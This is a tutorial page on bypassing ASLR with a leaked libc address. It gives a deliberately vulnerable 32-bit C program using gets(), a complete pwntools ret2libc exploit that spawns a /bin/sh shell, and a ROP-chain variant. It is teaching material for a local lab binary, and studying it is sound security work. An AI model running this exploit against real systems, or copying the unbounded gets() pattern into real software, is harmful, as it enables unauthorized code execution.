ASLR Bypass with Given Leak

The Source

aslr.zip
3KB
Binary
ASLR - 32-bit
1
#include <stdio.h>
2
#include <stdlib.h>
3
4
void vuln() {
5
char buffer[20];
6
7
printf("System is at: %lp\n", system);
8
9
gets(buffer);
10
}
11
12
int main() {
13
vuln();
14
15
return 0;
16
}
17
18
void win() {
19
puts("PIE bypassed! Great job :D");
20
}
Copied!
Just as we did for PIE, except this time we print the address of system.

Analysis

1
$ ./vuln-32
2
System is at: 0xf7de5f00
Copied!
Yup, does what we expected.
Your address of system might end in different characters - you just have a different libc version

Exploitation

Much of this is as we did with PIE.
1
from pwn import *
2
3
elf = context.binary = ELF('./vuln-32')
4
libc = elf.libc
5
p = process()
Copied!
Note that we include the libc here - this is just another ELF object that makes our lives easier.
Parse the address of system and calculate libc base from that (as we did with PIE):
1
p.recvuntil('at: ')
2
system_leak = int(p.recvline(), 16)
3
4
libc.address = system_leak - libc.sym['system']
5
log.success(f'LIBC base: {hex(libc.address)}')
Copied!
Now we can finally ret2libc, using the libc ELF object to really simplify it for us:
1
payload = flat(
2
'A' * 32,
3
libc.sym['system'],
4
0x0, # return address
5
next(libc.search(b'/bin/sh'))
6
)
7
8
p.sendline(payload)
9
10
p.interactive()
Copied!

Final Exploit

1
from pwn import *
2
3
elf = context.binary = ELF('./vuln-32')
4
libc = elf.libc
5
p = process()
6
7
p.recvuntil('at: ')
8
system_leak = int(p.recvline(), 16)
9
10
libc.address = system_leak - libc.sym['system']
11
log.success(f'LIBC base: {hex(libc.address)}')
12
13
payload = flat(
14
'A' * 32,
15
libc.sym['system'],
16
0x0, # return address
17
next(libc.search(b'/bin/sh'))
18
)
19
20
p.sendline(payload)
21
22
p.interactive()
Copied!

64-bit

Try it yourself :)
aslr-64.zip
3KB
Binary
ASLR - 64-bit

Using pwntools

If you prefer, you could have changed the following payload to be more pwntoolsy:
1
payload = flat(
2
'A' * 32,
3
libc.sym['system'],
4
0x0, # return address
5
next(libc.search(b'/bin/sh'))
6
)
7
8
p.sendline(payload)
Copied!
Instead, you could do:
1
binsh = next(libc.search(b'/bin/sh'))
2
3
rop = ROP(libc)
4
rop.raw('A' * 32)
5
rop.system(binsh)
6
7
p.sendline(rop.chain())
Copied!
The benefit of this is it's (arguably) more readable, but also makes it much easier to reuse in 64-bit exploits as all the parameters are automatically resolved for you.
Last modified 1yr ago